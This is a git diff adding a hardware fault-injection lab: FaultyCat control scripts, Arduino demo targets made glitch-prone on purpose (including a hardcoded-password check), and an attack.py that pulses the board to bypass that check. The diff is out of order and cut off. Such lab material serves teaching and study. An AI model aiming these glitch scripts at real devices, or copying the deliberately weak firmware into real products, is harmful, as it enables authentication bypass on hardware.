+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
new file mode 100644
index 0000000..34c38f2
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
new file mode 100644
index 0000000..a34e25d
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..127e108
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py
new file mode 100644
index 0000000..3831eec
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py
@@ -0,0 +1,133 @@
+import typer
+import platform
+import signal
+import threading
+import sys
+from rich.console import Console
+from rich.table import Table
+
+from Modules import CmdInterface
+from Modules.CmdInterface import is_valid_number
+from Modules import Worker
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+
+app = typer.Typer(
+    name="FaultyCat",
+    help="Script to control the FaultyCat and launch faulty attacks.",
+    add_completion=False,
+    no_args_is_help=True,
+)
+
+faulty_worker = Worker.FaultyWorker()
+workers = []
+
+
+def signal_handler(sig, frame):
+    print("You pressed Ctrl+C!")
+    faulty_worker.stop_workers()
+    for work in workers:
+        work.join()
+    sys.exit(0)
+
+
+@app.command("config")
+def config():
+    """Get the current configuration of the FaultyCat."""
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+
+    Console().print(table_config)
+
+
+@app.command("devices")
+def devices():
+    """Get the list of available devices."""
+    table_devices = Table(title="Available devices")
+    table_devices.add_column("Device", style="cyan")
+    table_devices.add_column("Description", style="magenta")
+    for device in faulty_worker.board_uart.get_serial_ports():
+        table_devices.add_row(f"{device.device}", f"{device.description}")
+
+    Console().print(table_devices)
+
+
+@app.command("fault")
+def faulty(
+    comport: str = typer.Argument(
+        default=DEFAULT_COMPORT,
+        help="Serial port to use for uploading.",
+    ),
+    pulse_count: int = typer.Option(
+        1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True
+    ),
+    pulse_timeout: float = typer.Option(
+        1.0,
+        "--pulse-timeout",
+        "-t",
+        help="Time in seconds between pulses.",
+        show_default=True,
+    ),
+    cmd: bool = typer.Option(
+        False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True
+    ),
+):
+    """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks."""
+    typer.echo("Configuring the FaultyCat...")
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row("Serial port", f"{comport}")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+    table_config.add_row("Pulse count", f"{pulse_count}")
+    table_config.add_row("Pulse timeout", f"{pulse_timeout}")
+
+    Console().print(table_config)
+
+    faulty_worker.set_serial_port(comport)
+    
+    if cmd:
+        CmdInterface.CMDInterface(faulty_worker).cmdloop()
+        return
+
+    if not faulty_worker.validate_serial_connection():
+        typer.secho(
+            f"FaultyCMD could not stablish connection withe the board on: {comport}.",
+            fg=typer.colors.RED,
+        )
+        return
+
+    faulty_worker.set_pulse_count(is_valid_number(pulse_count))
+    faulty_worker.set_pulse_time(is_valid_number(pulse_timeout))
+
+    faulty_worker.start_faulty_attack()
+
+
+if __name__ == "__main__":
+    print(
+        """\x1b[36;1m
+.@@@%@*%+ -@@+  #@@:  @@% =@@@@%- %@% %+            @=           | 
+.@@-.-.#@+=@@*  %@@- .@@@.@@%:@@@ @@@ %+     :+++-  @*+++-       | FaultyCat v0.0.1
+.@*.=.+@@:=@@*  %@@- .@@@.@@% @@@ @@@ %+    #%:.:## @%:.:##      | by JahazielLem
+.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+    @+   =@.@+   =@.     | Company: PWNLabs - Electronics Cats
+%@%       :#@@@%*#@@@%+  %@* :#@@@#: =%#**=.*####@..*####:       |                                                    
+\x1b[0m"""
+    )
+    signal.signal(signal.SIGINT, signal_handler)
+    app()
diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt
new file mode 100644
index 0000000..5ffdc64
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/requirements.txt
@@ -0,0 +1,9 @@
+click==8.1.7
+colorama
+markdown-it-py
+mdurl
+Pygments==2.17.2
+pyserial
+rich==13.7.0
+typer==0.9.0
+typing_extensions

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
